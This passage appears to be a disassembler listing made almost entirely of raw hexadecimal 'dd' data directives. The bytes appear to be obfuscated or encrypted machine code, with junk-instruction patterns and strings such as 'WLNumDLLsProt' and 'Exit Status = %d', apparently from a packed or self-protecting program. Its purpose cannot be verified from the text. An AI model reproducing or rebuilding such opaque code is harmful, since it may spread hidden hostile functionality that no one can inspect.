		dd 0FE91CC6h, 59000000h, 2872CA8Eh, 5ACF78F5h, 8A042F94h
		dd 74034469h, 95292424h, 61419D1h, 0CD9BD8Dh, 12E90614h
		dd 61000000h, 4D7C29FAh, 41FA49E4h, 19878115h, 0F9BE8838h
		dd 9589AD88h, 614259Dh,	24244403h, 8952F860h, 140BB18Dh
		dd 31615F06h, 1401EDBDh, 0F60AB06h, 8B66FBBFh, 0BD8D61F9h
		dd 6142655h, 0B5895760h, 6142099h, 11E95Fh, 229D0000h
		dd 15DBBD90h, 5CCCD363h, 9D59CBB3h, 61F186BDh, 0E58D31ADh
		dd 8906140Bh, 142361B5h, 24440306h, 6E924h, 0B06A0000h
		dd 1A435200h, 20B96050h, 0E9089519h, 0Dh, 0C4674AE3h, 0A9105757h
		dd 74315BBh, 489614Dh, 15850F24h, 0E9000000h, 10h, 15103329h
		dd 47DBD7CAh, 0F522E07Ah, 6FD6C10Ah, 9D9D01ABh,	8D061404h
		dd 14157DBDh, 0B870F06h, 0E9000000h, 6,	0BAE0623Ch, 8B0F284Ah
		dd 0Eh,	5E960h,	0C5310000h, 607013F5h, 0E9AD6161h, 0Ah
		dd 2371BE50h, 33B0E36h,	44037DF4h, 89602824h, 1430719Dh
		dd 0E9AB6106h, 10h, 0CA423373h,	746C491Eh, 336CEA5h, 0BF685B01h
		dd 858B605Eh, 6140455h,	0C59BD29h, 0FF610614h, 143B448Dh
		dd 44BD8306h, 6143Bh, 44C71075h, 1C24h,	0B58D0000h, 6144066h
		dd 0AD56E6FFh, 28244403h, 8ADF8B97h, 14084985h,	74C08406h
		dd 75073A04h, 0C032574Ch, 5EFD75AEh, 0FC52FB2Bh, 8B49C933h
		dd 33C033D1h, 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah,	66EBD166h
		dd 973D8D1h, 50413566h,	49F38166h, 75CEFE54h, 33C833EBh
		dd 0D5754FD3h, 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h, 74D03B5Ah
		dd 0C6835E0Fh, 2D85FF04h, 0E906142Eh, 0FFFFFF6Fh, 0CE95Eh
		dd 0D6330000h, 253CB259h, 47DA9BD4h, 9D015183h,	61400F9h
		dd 2E2D858Bh, 0F600614h, 288h, 61CE8A00h, 10E9E0D1h, 4000000h
		dd 68D75176h, 14C60E9Bh, 0E8E86579h, 3AD9215h, 14157D85h
		dd 890F6006h, 3, 0FF0B70Fh, 685h, 19BD8900h, 61061419h
		dd 9D89F62Bh, 6141E45h,	9E9h, 16613100h, 9D75EE11h, 196E121h
		dd 142BE18Dh, 29AD6606h, 142AF5BDh, 2E0C106h, 0CE9h, 0E00A8A00h
		dd 0A0B04A92h, 4DC1C350h, 0D98503D7h, 8906140Ch, 1433D585h
		dd 0B5899606h, 61400A5h, 29759529h, 9AD0614h, 142A8595h
		dd 4850F06h, 60000000h,	8B616160h, 0F24244Ch, 0C8Ch, 68F0F00h
		dd 29000000h, 1401599Dh, 24440306h, 95BD8924h, 8906141Eh
		dd 0E91C2444h, 7, 2A1CBD03h, 96573356h,	5E9F5h,	85F20000h
		dd 0AC66AF2Fh, 0AF59529h, 0C9320614h, 11C19589h, 0C1FE0614h
		dd 0FD0D0F8h, 0B983h, 0CD858900h, 0D0061430h, 0AB830FD0h
		dd 31000000h, 142A29BDh, 0FD0D006h, 9D82h, 91B58900h, 0D0061434h
		dd 8F820FD0h, 89000000h, 14309595h, 0FC9FE06h, 0FFFFC089h
		dd 6E9FFh, 1C220000h, 18057CA1h, 6958D29h, 0C4830614h
		dd 6E920h, 0F48A0000h, 297F76BAh, 0FC2444C7h, 0
		dd 6890Fh, 95010000h, 6140051h,	1B8h, 0BE900h, 98F80000h
		dd 0C1165147h, 0E51D28AAh, 68C0F25h, 31000000h,	14024195h
		dd 0AF8D8D06h, 0F061472h, 0C81h, 6800F00h, 89000000h, 141EE185h
		dd 7820F06h, 0F000000h,	18Dh, 0E1FFF800h, 2998D89h, 85C60614h
		dd 6140849h, 11840F00h,	0E9000000h, 0Ch, 0C233F35Dh, 3DFE1F18h
		dd 338BE4D7h, 1860Fh, 61F90000h, 8C2F8h, 6E9h, 0D0170F00h
		dd 505B8723h, 60525060h, 8A310F61h, 60585AFDh, 6160DA8Bh
		dd 34896161h, 5E924h, 0E490000h, 89713B04h, 144266B5h
		dd 8B526006h, 1408A99Dh, 0DA815E06h, 0EA9F967h,	828D8961h
		dd 89061442h, 1418B18Dh, 0D1850106h, 8D06142Ah,	144134B5h
		dd 7E906h, 0D73B0000h, 0E56BD222h, 0A1858DA3h, 89005B8Eh
		dd 14155DB5h, 9D0FF06h,	1406ADBDh, 8D296006h, 61400D1h
		dd 201858Bh, 5E610614h,	10E9h, 9E5E900h, 4F58A120h, 0A181270Ch
		dd 839791EFh, 9589C361h, 61430F9h, 4266B58Bh, 0B5890614h
		dd 6142D99h, 0FE9h, 2378D900h, 42D63EFh, 880F1C10h, 0BB59816Fh
		dd 42828D8Bh, 0E8600614h, 9, 9A38EBC9h,	4A072A2Fh, 95953193h
		dd 59061411h, 127D858Bh, 0B8610614h, 0
		dd 0C418D29h, 0D98B0614h, 13E9h, 64B85300h, 2C587858h
		dd 6F2ED1EDh, 81B866D7h, 50EF84Ch, 9DE9h, 2632FC00h, 0F02B2FCh
		dd 684h, 39858900h, 60061434h, 0BA66F9h, 57E961C4h, 89000000h
		dd 1416A59Dh, 0E9C23206h, 7, 4F2183D7h,	557875Fh, 8A751D7Ah
		dd 1860Fh, 8AF80000h, 0AE9CCh, 73300000h, 0FCA532E6h, 83D0918h
		dd 8D0FC8D3h, 8, 2800Fh, 61600000h, 0D1084235h,	0CAFEF898h
		dd 88F0Fh, 870F0000h, 2, 0D20A6160h, 0FFA7850Fh, 9D09FFFFh
		dd 6140715h, 8DD9589h, 294B0614h, 1425A195h, 89604606h
		dd 142F9995h, 0C7BA6606h, 0DB0B61D5h, 0FF5C850Fh, 8501FFFFh
		dd 614065Dh, 14E9CFh, 0D1A0000h, 8A07EA89h, 73E43F8Ah
		dd 0C509705Ah, 2056195Dh, 61B4h, 0C8E0Fh, 8F0F0000h, 6
		dd 2C1D9529h, 614h, 15CD9D89h, 614h, 0C830Fh, 8C0F0000h
		dd 6, 840Fh, 0F50000h, 59BD3100h, 8D061413h, 143B4E85h
		dd 9958906h, 89061408h,	14069D85h, 858DFC06h, 614409Bh
		dd 1830Fh, 89F50000h, 14109585h, 14EB06h, 3 dup(0)
		dd 0E2000000h, 8D000000h, 14439285h, 2D858906h,	83061413h
		dd 1442D3BDh, 840F0006h, 12Bh, 84985C6h, 68560614h, 821D1271h
		dd 48243481h, 0FF56027Fh, 140C2DB5h, 4E858D06h,	0FF06143Bh
		dd 0C78589D0h, 0C6061442h, 14084985h, 17685606h, 8199197Bh
		dd 3D3B2404h, 0B5FF038Fh, 6140C2Dh, 3B4E858Dh, 0D0FF0614h
		dd 42CB8589h, 46A0614h,	4E8h, 100000h, 448B5000h, 8B0424h
		dd 4244489h, 0D7858B58h, 5061442h, 1F4h, 9002E0C1h, 6A9050h
		dd 42CB95FFh, 85890614h, 61442CFh, 0FFB8D88Bh, 0FFFFFFFFh
		dd 14132D95h, 0FFC38B06h, 14132D95h, 8DE906h, 0BD830000h
		dd 61442D3h, 1850F00h, 0C3000000h, 0CFBD8B57h, 0AB061442h
		dd 42CF8583h, 5F040614h, 0D3BD83C3h, 61442h, 1850Fh, 60C30000h
		dd 42CFAD83h, 8B040614h, 1442CF9Dh, 0FC7B8306h,	1D850FFFh
		dd 68000000h, 0E37ABDAFh, 51240481h, 6A1C85C2h,	0FF33FF00h
		dd 1442C795h, 0E9C36106h, 26h, 4E8h, 800000h, 448B5000h
		dd 8B0424h, 4244489h, 0FF006A58h, 0C795FF33h, 83061442h
		dd 1442CFADh, 0A8E90406h, 48FFFFFFh, 9D3E9h, 6AD51A00h
		dd 0A1CB37C1h, 6F5F128Dh, 32E26F2Eh, 412DF200h,	2DE2297Ch
		dd 64EC7E54h, 0CA26E450h, 6AF3473Bh, 0AD893CCCh, 3D480085h
		dd 35F07E7Dh, 2E66FD45h, 27E8591Fh, 68ED6340h, 0C826E402h
		dd 6AF0483Dh, 0B28926CCh, 3D571A98h, 2EEE6263h,	4568E952h
		dd 30A46D7Ch, 25FC6344h, 0DD68E550h, 6AE65C3Dh,	0B3C620D5h
		dd 33571498h, 63h dup(0)
		dd 6AD51A00h, 0BDC73DC8h, 3D481A9Eh, 26EC757Eh,	425F152h
		dd 62F7687Ah, 2AED7543h, 0D127F702h, 38B44D3Ch,	0BDC73CD0h
		dd 741A1284h, 2EFA2760h, 5768E255h, 27F07A6Bh, 49823E4Ch
		dd 0C52DFD72h, 6AB84C21h, 0BBC53CD0h, 741A118Bh, 33E5277Ah
		dd 4968FD4Fh, 30EB6477h, 2AE93058h, 0C13AB146h,	38F55D21h
		dd 0BBD072D1h, 6D1A079Fh, 33E4687Ch, 66FD41h, 48h dup(0)
		dd 6AD51A00h, 0B7C820C6h, 3A481081h, 2EF7277Dh,	4C68FC4Fh
		dd 20A47A73h, 64E67544h, 0CA3DFE44h, 3FE60936h,	0BAC03CCBh
		dd 7353558Dh, 34EC7E2Eh, 5D3BB052h, 2FE17D61h, 14851A0Fh
		dd 0D729F44Eh, 3FB40537h, 0B5C63ECBh, 6953558Eh, 2EF1612Eh
		dd 4125B04Dh, 3BF6667Fh, 20E67101h, 0D72DE302h,	3EE64826h
		dd 0A1C62B85h, 6F4A5598h, 20F16061h, 0BE4Dh, 61h dup(0)
		dd 23D21A00h, 0B78937C9h, 68480785h, 25E6737Eh,	7068BE01h
		dd 62F7607Ah, 23E76251h, 8425F050h, 6AE7483Ah, 0BACC37C7h
		dd 735B18CAh, 2DF67767h, 402DE441h, 26EA6832h, 3DE97D01h
		dd 0A942F440h, 39B35D3Bh, 0B2C73B85h, 784E168Fh, 38E1276Ah
		dd 7268F100h, 31F17B7Bh, 64FA7F01h, 0C729E341h,	64F04C39h
		dd 0BDC10685h, 745C5599h, 36A36262h, 506FFE4Fh,	30EB7E32h
		dd 2AE9304Ah, 0D627FC5Bh, 737h,	0E0h dup(0)
		dd 4E4C5700h, 4C446D75h, 7250734Ch, 3000746Fh, 8 dup(0)
		dd 45000000h, 20746978h, 74617453h, 3D207375h, 642520h
		dd 2 dup(0)
		dd 2E45E9h, 0FCFA8A00h,	9619D8Bh, 0C08B0614h, 0B15950Bh
		dd 0BB660614h, 0BD83EB15h, 61410F1h, 83097500h,	140E25BDh
		dd 13740006h, 0C08B5350h, 1B8h,	0F49D8D00h, 0FF0616A5h
		dd 83585BD3h, 140E25BDh, 11740006h, 1B85350h, 8D000000h
		dd 16A4A59Dh, 5BD3FF06h, 11E958h, 4FD10000h, 0E1C2B28Fh
		dd 81C9EAD3h, 278837F3h, 0E811540Dh, 0Ch, 9BFDA1FFh, 0E250994Dh
		dd 2CC7CF7Bh, 14E9h, 0B60BF800h, 1FF5F955h, 15E92B35h
		dd 9160C899h, 2F00BA2h,	0C08B5AF2h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 0B5C35343h,	0FB96EDDBh, 0D3B70F01h
		dd 202DBD83h, 0F000614h, 16584h, 83F98A00h, 142AC1BDh
		dd 840F0006h, 156h, 8DD8501h, 8B600614h, 141B8D9Dh, 0C1858B06h
		dd 6A06142Ah, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 8E12C351h, 86E67FCDh, 0A3FDB914h
		dd 4A96BA66h, 3E805h, 28F0F00h,	8A000000h, 606090D0h, 342DC6B9h
		dd 830F6166h, 2, 506150B6h, 2820Fh, 0ECB60000h,	12E96090h
		dd 0AE000000h, 0EF755002h, 0F9F6CE65h, 0C848EA90h, 6A0E37C9h
		dd 85F28057h, 0DF858D61h, 8B06144Dh, 141A119Dh,	50BAB706h
		dd 30B65250h, 2FBA310Fh, 5A2B8ED5h, 24048958h, 2D419529h
		dd 858D0614h, 6144DBDh,	8B6090F9h, 61D58AD6h, 90D38B50h
		dd 3995FFFCh, 8B061412h, 1407D99Dh, 0CC48306h, 3A2FF381h
		dd 0F602469h, 385h, 0F78B6600h,	61F7BF0Fh, 4DBD858Dh, 958B0614h
		dd 6142B09h, 24048950h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0AAC35141h, 0BE04A351h, 1272845Dh, 65E9E281h
		dd 950934F2h, 614000Dh,	0B509026Ah, 61430BDh, 95FFDA8Bh
		dd 6AED14h, 1EA59D03h, 6A610614h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0AA8EC355h
		dd 0A2D8D89h, 85C70614h, 6144DF0h, 1, 7E58589h,	56500614h
		dd 11E9h, 1E2FCE00h, 0E902B114h, 55FA455Eh, 0B167FD15h
		dd 895A8293h, 0B70F2434h, 0A1B589DFh, 6A06144Dh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 311BC353h, 142DF585h, 0CDBD8306h, 1061401h, 20850Fh
		dd 0B5890000h, 61406CDh, 0F05F883h, 1185h, 6DB8100h, 0B843A646h
		dd 0
		dd 17B59D8Bh, 0BD830614h, 61400E9h, 4C840F00h, 57000000h
		dd 20058D09h, 605A0614h, 811BD89h, 95FF0614h, 61400E9h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0A9C35646h
		dd 702AFCBh, 418EDED2h,	8A1A80BBh, 0D9958B57h, 8B061408h
		dd 816661D3h, 8331C6F3h, 142BB9BDh, 840F0006h, 5Ch, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 18C35747h, 0BD89521Eh
		dd 6140F01h, 0D0B70F5Ah, 15F18589h, 0B80614h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 0B7BCC350h, 0ECE253F8h, 958B9691h, 61416D9h
		dd 8BDA8A60h, 14005585h, 5BF95206h, 6A02C083h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 6262C353h, 99858996h, 6606144Dh, 0A426DB81h,	1FF00C6h
		dd 142B1195h, 39B58906h, 0C606142Ah, 14084985h,	6A5306h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 333BE9C3h, 1415CD95h, 129A6806h, 0F60C91Fh, 685h, 0F525000h
		dd 0B8585A31h, 516914E3h, 24048161h, 3392363Eh,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0A0C35646h, 0B8BBD635h
		dd 0E9B2DABCh, 0Ah, 0B907AFB6h,	0EDF738BEh, 8B66E73Ah
		dd 65B5FFD9h, 0E906142Ch, 13h, 0B2130FCDh, 6E1C211Eh, 1D1370E4h
		dd 37BBA32Eh, 8DA57660h, 1778FE85h, 259D8B06h, 0FF061410h
		dd 89D68BD0h, 14297185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 0BD299D2Dh, 0BA7D573Ah
		dd 7F341016h, 0B1BD83FCh, 1061409h, 0D8850Fh, 6A610000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 4001C357h, 33B71025h, 14024595h, 0D850906h
		dd 0C606140Eh, 14084985h, 6A4506h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 8127BFC3h, 0DF186AF3h
		dd 0F9726817h, 810F5C65h, 2, 48149B3h, 0FA3F5024h, 51006A7Dh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 0E862B4CBh, 6585094Fh, 0FF061407h, 142C65B5h, 518D8906h
		dd 8D061410h, 1778FE85h, 5AF85106h, 9501D0FFh, 6140BA5h
		dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 0FD6642C3h, 80F9DDFAh, 0D0FFFCEAh, 0BD83D98Ah
		dd 6140A8Dh, 7E850F01h,	8B000000h, 142A799Dh, 55858B06h
		dd 8B061400h, 1410ED95h, 56E906h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0F25F14C3h
		dd 0B239C21Ah, 0D38B6690h, 6E95150h, 5E000000h,	261D9BEDh
		dd 89905BFFh, 1413598Dh, 89146A06h, 1400CDBDh, 7195FF06h
		dd 80061429h, 0F5859E7h, 9D89D8B7h, 61404B5h, 0F003880h
		dd 0FFFFC385h, 0C6D58AFFh, 0BF0F0100h, 83FC61DBh, 1416F1BDh
		dd 840F0006h, 7Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 0C9C35343h, 9D29422Dh, 6141075h, 53FF6AFCh
		dd 8DA125BBh, 95FF5A5Eh, 6142971h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 3BC35646h, 0FFFFD0E9h, 57006AFFh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 9D8B6016h, 614024Dh,	2D658D89h, 0C7610614h, 1416F185h
		dd 106h, 0E8606000h, 0Ch, 6E64964Ch, 857E155Ch,	3AA6A23h
		dd 8E959h, 2E2C0000h, 5CA1FC9Ch, 60617976h, 8E0Fh, 9D290000h
		dd 6140AB5h, 880F6161h,	0Ch, 6820Fh, 880F0000h,	0
		dd 4DA58589h, 6A0614h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 0D0C713C3h, 1E4C7FB3h, 109D9529h
		dd 0BA660614h, 51901CE0h, 5BDA8B66h, 0CE850h, 41FF0000h
		dd 34F26920h, 0F750F478h, 8C0FE715h, 6,	870Fh, 905A0000h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0E7C35545h
		dd 13A5F3CFh, 81E405E0h, 91958960h, 6A061419h, 1D850105h
		dd 8D06140Fh, 144DBD85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 0E6FDBA45h, 8B6E2B94h
		dd 14066D95h, 0BA669006h, 6650073Fh, 90A0B4BBh,	9819D8Bh
		dd 858D0614h, 6144DADh,	0AF9BD89h, 66900614h, 507129BAh
		dd 55BD3190h, 0FF061423h, 14164595h, 0CFBA6606h, 0BA8D8D4Fh
		dd 6A06147Bh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 979CC350h, 9D894BE4h, 6140EA5h
		dd 1174C00Bh, 4DBD858Dh, 0FF500614h, 0DB8589D1h, 0EB06144Dh
		dd 0DB85C70Ah, 0FF06144Dh, 6AFFFFFFh, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 193CC356h
		dd 58EA8157h, 6646773Ah, 0E9B1DA81h, 10E861h, 0DC3C0000h
		dd 9005C44Dh, 86962E86h, 199A0A44h, 2B3B255h, 4985C65Ah
		dd 4D061408h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 19h,	99C35141h, 3C93EB3Ah, 79853134h, 6806140Dh, 5E4A5429h
		dd 10E9h, 20038700h, 7C6D101Bh,	0A828AFD1h, 0C1F14A7Dh
		dd 240481F3h, 45EB227Fh, 8E960h, 0B90F0000h, 0CDC3FC76h
		dd 0FF618762h, 14044DB5h, 0EE906h, 32FB0000h, 0D29D2C68h
		dd 619ADCCh, 690B21E7h,	78FE858Dh, 0D78B0617h, 9589D0FFh
		dd 6140E61h, 89D08B66h,	1424DD85h, 0E58D0906h, 0C6061418h
		dd 14084985h, 3BB74506h, 5F50BF68h, 0DBD7BA24h,	4811407h
		dd 1318AA24h, 80DA8B6Ah, 0B5FF3AE2h, 6142C65h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0C1C35747h, 438A0632h
		dd 188A0Fh, 13E90000h, 0BE000000h, 3E88B867h, 1DA19FAAh
		dd 0A50059E4h, 60ED5502h, 858D094Ch, 61778FEh, 0FFD0BF0Fh
		dd 0FD8D89D0h, 89061423h, 14098585h, 69858906h,	6A061418h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 0FB7C355h, 684h, 498D0100h, 8B061409h, 0D3B70FD2h
		dd 89D98C66h, 142E25BDh, 0E58D8906h, 0F6061410h, 840F04C1h
		dd 2BAh, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 14h,	0D7C35646h, 17D59D89h, 7CE90614h, 6A000001h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 4812C351h, 0CF80FA00h, 6820FFDh, 8B000000h, 14076595h
		dd 69B58B06h, 66061431h, 8189D3BAh, 1180C6h, 0E3816600h
		dd 0BD837842h, 6142FE5h, 0D850F00h, 8B000000h, 1418119Dh
		dd 0EDE906h, 0EFB30000h, 0F003E83h, 0E284h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 0E4C87D46h, 6A605Ah,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 53F94BC3h, 89607EEDh, 141FC58Dh
		dd 306FB906h, 6A610FD0h, 56006A14h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 0EBA4F09Dh, 4F14DC55h
		dd 11880F88h, 0E9000000h, 0Ch, 2E789ECDh, 69EFC990h, 49A07FB7h
		dd 297195FFh, 0BB660614h, 6A61AA24h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 6973C353h
		dd 922452D3h, 38EEEA06h, 28FEBA66h, 0FFFF33E9h,	59CB81FFh
		dd 0E963F0D1h, 13h, 83D3C892h, 9CFB637Dh, 0D46CA93Bh, 65FCC0C0h
		dd 0C766CC3Dh, 106h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 0BE48402Eh, 8BE777B9h
		dd 141CE59Dh, 89858906h, 8306140Dh, 144DA5BDh, 850F0506h
		dd 10Ah, 0BAD950Bh, 73BB0614h, 8B5D9759h, 141869B5h, 5890F06h
		dd 0BA000000h, 2A20F27h, 0B9D6BF0Fh, 64h, 2FCD9D33h, 3E800614h
		dd 37840FE8h, 0F9000000h, 5DE9h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 0DE62DACCh
		dd 0ACFA62DEh, 8D0FB766h, 6, 4B59D33h, 7E800614h, 840FC205h
		dd 8Ah,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h
		dd 7EC35141h, 0F9A294EFh, 6A4680B6h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0C4ACC353h
		dd 0FB7BBEFAh, 0C6DB80B4h, 67850F49h, 89FFFFFFh, 142975B5h
		dd 3CE906h, 0F600000h, 58Bh, 0DF8B800h,	11E82C1Fh, 0D0000000h
		dd 292FAFAEh, 347BB15Fh, 10E73F03h, 53C2A459h, 2FB9B501h
		dd 61590614h, 10859D01h, 0B5890614h, 6140ABDh, 18419503h
		dd 6A580614h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 1E94C350h, 0F43CD313h,	76276B84h
		dd 2D91BD83h, 0F000614h, 15884h, 0F5B5600h, 28Fh, 6065B200h
		dd 0AE8h, 0E5AA5C00h, 0D0CC078Ch, 29F0E38Eh, 141BAD95h
		dd 0E9515A06h, 9, 0AB8536F8h, 1348FBEFh, 85C65A55h, 6140849h
		dd 0A99D8954h, 0E806140Bh, 4, 0FF4EBEF4h, 8B50CDB3h, 24448BDEh
		dd 6E804h, 0E3BF0000h, 0B56DAB73h, 28C0Fh, 61600000h, 0BB008B5Bh
		dd 506BC69Ch, 4244489h,	7E9h, 33898400h, 63CE4870h, 51006A58h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 65B5FFCDh, 6A06142Ch, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 56AEC352h, 1900BD9Fh
		dd 78FE858Dh, 6A0617h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 0D7C0A1C3h, 0EE957h, 94850000h
		dd 7A1580C0h, 7137D2D6h, 7AEAEA7Ah, 98D895Ah, 0FF061412h
		dd 0C18501D0h, 6A06141Ch, 6860F00h, 1000000h, 141089B5h
		dd 91B5FF06h, 6006142Dh, 14E9h,	2CD6300h, 2C4657EDh, 0D0624C43h
		dd 74392C44h, 0E7C47750h, 0E38150DFh, 56ED231Bh, 0D0FF6158h
		dd 61DA8B66h, 0DE879B3h, 9F000000h, 0DA71975Fh,	66527555h
		dd 314EE7CDh, 4D85C75Ah, 106140Fh, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 5657C355h, 0CE86060h, 20000000h, 1817879Fh, 0F0CE775Ah
		dd 80DC1C0Fh, 615899E3h, 4E8h, 8000h, 0BA665600h, 505AD2FAh
		dd 5775BA66h, 424448Bh,	8BDE8Ah, 0DE8h,	0BA9FDD00h, 1110EFh
		dd 3EA8132Dh, 13E902CAh, 77000000h, 82333372h, 97EF7731h
		dd 97B5D9C1h, 0DBCF5F87h, 895B5B1Fh, 8B042444h,	830F58D1h
		dd 0
		dd 0BF0FFF6Ah, 195FFDBh, 6A061408h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 6F0BC350h
		dd 63943E6Ah, 9EF59E80h, 25559589h, 66600614h, 6B67D981h
		dd 8D0Fh, 61610000h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 0A7C35545h, 0E80CA3D9h, 0Dh, 5A293D1h
		dd 9449B2Eh, 0B052E7A1h, 0BD958B98h, 5B06141Bh,	89FA8A50h
		dd 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 0A65137C3h, 0E1D25029h, 953320C3h, 61407FDh
		dd 11E9h, 5D8A2000h, 9D7C59F8h,	0BD305FA2h, 869FD9BBh
		dd 858B9FC3h, 6141001h,	34C18589h, 8B660614h, 0FC00BD8h
		dd 3284h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 0D343015Bh, 66E0DE2Ch, 0E595FFE3h
		dd 5606140Dh, 20359D89h, 0C75B0614h, 140F2585h,	106h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 4F16274Bh, 603E587Ah, 0BE07F380h, 0A3EE42Fh,	0A0BB6661h
		dd 0AE952h, 56520000h, 769AB96Bh, 63E4C1Fh, 33F5BD83h
		dd 0F000614h, 0E84h, 4DBD8900h,	0FF06140Dh, 14185995h
		dd 83C9B706h, 140705BDh, 840F0006h, 0Ch, 0FFD68B66h, 14306995h
		dd 0D7BF0F06h, 7C9BD83h, 0F000614h, 4484h, 0A9C38100h
		dd 2973B3B5h, 143491B5h, 61BD8306h, 61403h, 2B850Fh, 89560000h
		dd 141D299Dh, 95895B06h, 61404BDh, 18F995FFh, 0E8600614h
		dd 7, 79D8721Ah, 8BCB4E61h, 142411B5h, 4CB45A06h, 91BD8361h
		dd 6140Ch, 4B840Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 1A9188C3h, 82D6AA2Fh
		dd 15958BB6h, 66061418h, 4431CB81h, 18198581h, 40030614h
		dd 8D890000h, 61433FDh,	24F18581h, 40030614h, 8B660000h
		dd 0E9310FDAh, 5, 0B463A8FEh, 9C8D8DFAh, 6006145Eh, 0CE9h
		dd 0EB9A6C00h, 90B05A33h, 0AAF37EDBh, 14E8F2h, 82990000h
		dd 0FCDD4F8Fh, 73EC4410h, 85E5BD62h, 0BE351818h, 0BF0F7D1Ch
		dd 89615ED0h, 33F38A01h, 50006AC2h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 0DD952352h, 8906142Dh
		dd 6A0441h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 307FC7C3h, 0ACB7FC8Ah, 6A310Fh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 791F89C3h
		dd 0AAFE82CEh, 5EAC8D8Dh, 810F0614h, 14h, 0CE8h, 29728500h
		dd 0A046E324h, 77A80216h, 5B4FB68Ch, 0BD290189h, 614109Dh
		dd 9E8h, 256D5B00h, 0A661A1BBh,	8ABA3779h, 5A126724h, 6AC233h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 375636C3h, 95315615h, 614183Dh, 441895Bh, 1BC59D8Bh
		dd 0BD830614h, 6141355h, 5C840F00h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 0BCF2C352h, 7E952h, 48490000h, 0A7348F61h, 95FF5B26h
		dd 6141619h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Bh,	3AC35040h, 0F2BDB1C9h, 8B41F020h, 0A5BD01D8h, 83061412h
		dd 1425E5BDh, 850F0106h, 53h, 25F98D89h, 48E90614h, 8B000000h
		dd 56B58BD0h, 0C7061460h, 6, 0DCB58B00h, 0C706145Dh, 6
